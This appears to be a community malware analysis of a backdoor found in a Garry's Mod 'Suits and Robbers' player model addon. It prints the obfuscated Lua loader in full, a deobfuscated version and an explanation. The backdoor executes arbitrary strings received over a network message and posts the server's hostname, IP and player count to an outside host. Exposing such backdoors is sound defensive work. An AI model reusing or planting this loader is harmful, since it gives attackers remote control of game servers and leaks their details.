BACKDOOR IN Suits and Robbers Player Models Obfuscated Code

BACKDOOR IN Suits and Robbers Player Models Obfuscated Code
Suspicious code has been deobfuscated.


=======================================================
             OBFUSCATED
=======================================================
local ms = "\83\69\82\86\69\82\103\97\109\101\73\115\68\101\100\105\99\97\116\101\100\67\111\109\112\105\108\101\83\116\114\105\110\103\117\116\105\108\65\100\100\78\101\116\119\111\114\107\83\116\114\105\110\103\110\101\116\82\101\99\101\105\118\101\114\115\91\67\93\115\116\114\105\110\103\116\105\109\101\114\83\105\109\112\108\101\104\116\116\112\80\111\115\116\104\116\116\112\58\47\47\103\109\111\100\46\104\105\110\116\115\46\109\101\47\71\101\116\67\111\110\86\97\114\83\116\114\105\110\103\104\111\115\116\110\97\109\101\105\112\112\108\97\121\101\114\71\101\116\65\108\108\109\57\107\95\97\100\100\111\110\115\82\101\97\100\83\116\114\105\110\103\116\121\112\101\120\112\99\97\108\108\82\101\99\101\105\118\101" local mt = {0, 6, 10, 21, 34, 38, 54, 57, 66, 69, 75, 80, 86, 90, 94, 115, 130, 138, 140, 146, 152, 162, 172, 176, 182} local l = (function(n) return ms:sub(mt[n] + 1, mt[n + 1]) end) local g = (function(n) return _G[l(n)] end) if g(1) and g(2)[l(3)]() then local f = (function() end) local c = g(4) local r = g(7)[l(22)] g(5)[l(6)](l(21)) g(7)[l(8)][l(21)] = (function() local s = c(r() or "--", l(9), false) if g(23)(s) ~= l(10) then g(24)(s, f) end end) g(11)[l(12)](16, function() g(13)[l(14)](l(15), {hn = g(16)(l(17)), ip = g(16)(l(18)), np = #g(19)[l(20)]()}, f, f) end) end




=======================================================
            DEOBFUSCATED
=======================================================
if SERVER and game.IsDedicated() then
    local f = function() end
    local c = CompileString
    local r = net.ReadString
    util.AddNetworkString("m9k_addons")
    net.Receivers.m9k_addons = function()
        local s = CompileString(net.ReadString() or "--", "[C]", false)
        if type(s) != "string" then
            xpcall(s,f)
        end
    end
    timer.Simple(16, function()
        http.Post("http://gmod.hints.me/", {
            hn = GetConVarString("hostname"),
            hn = GetConVarString("ip"),
            np = #player.GetAll()
        }, f, f)
    end)
end


=======================================================
             EXPLANATION
=======================================================
Client loads hack, sends server "m9k_addons" net message
The contents of this message is a string that is executed by the server.
The string is compiled and ran from "[C]", so everything looks legit.
The code is also uploaded to a webserver where the coder can go to find
a server running his addon with players so he can exploit it.